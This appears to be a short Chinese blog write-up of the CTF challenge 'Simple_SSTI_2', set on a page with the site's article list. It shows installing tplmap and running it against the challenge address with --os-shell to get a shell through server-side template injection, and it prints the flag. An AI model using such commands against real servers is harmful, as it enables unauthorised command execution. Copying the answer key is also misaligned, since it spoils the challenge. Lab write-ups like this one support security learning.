热门标签
热门文章
- 1哔哩哔哩笔试 01串求最长1子串的长度_一个01字符串求最长的1串
- 2基于Springboot搭建java项目（七）——请求的传参和注意事项_在controller中获取请求参数,如果参数是基本类型,注意事项是什么
- 3Xilinx ZYNQ学习笔记（一）——使用PS读写SD卡_zynq sd卡读写
- 4git强制覆盖本地文件，使本地仓库和远端仓库保持一致_git 还原本地文件与服务器一致
- 5【雕爷学编程】Arduino智能家居之MQ-2甲烷一氧化碳气敏式烟雾传感器_mq2烟雾传感器浓度算法
- 6解密动态规划：从子问题到最优解的奇妙算法_动态规划状态转移方程如何建立
- 7【Git学习】在一台电脑上配置多个git账户（账户、来源）_多个git账号
- 8使用Python编写网络爬虫获取在线地图平台的地理位置和交通信息_python爬虫地图
- 9java企业信息化平台协同办公管理系统(开题+源码)
- 10优秀的测试开发需要具备的能力_测试开发最重要的
当前位置: article > 正文
Simple_SSTI_2
作者：Monodyee | 2024-04-13 18:59:29
赞
踩
Simple_SSTI_2
1、启动场景
- http://114.67.175.224:18040/ 然后机会发现 页面啥也不是，查看源码后，看了好像又没看
2、用kali的tplmap扫一下
- 安装tplmap【已安装,可略过】：在kali终端安装git clone https://github.com/epinna/tplmap
然后来到tplmap的目录下运行：
- python tplmap.py -u “http://114.67.175.224:18040/?flag=”
- ./tplmap.py -u “http://114.67.175.224:18686/?flag=” --os-shell
- 然后得到flag文件夹
flag{ad748aca07066715eea10a9d911a4da8}
方法二：https://blog.csdn.net/qq_47480932/article/details/137423121 无需经过kali 直接网页中就可以解决。
声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/Monodyee/article/detail/418015
推荐阅读
相关标签
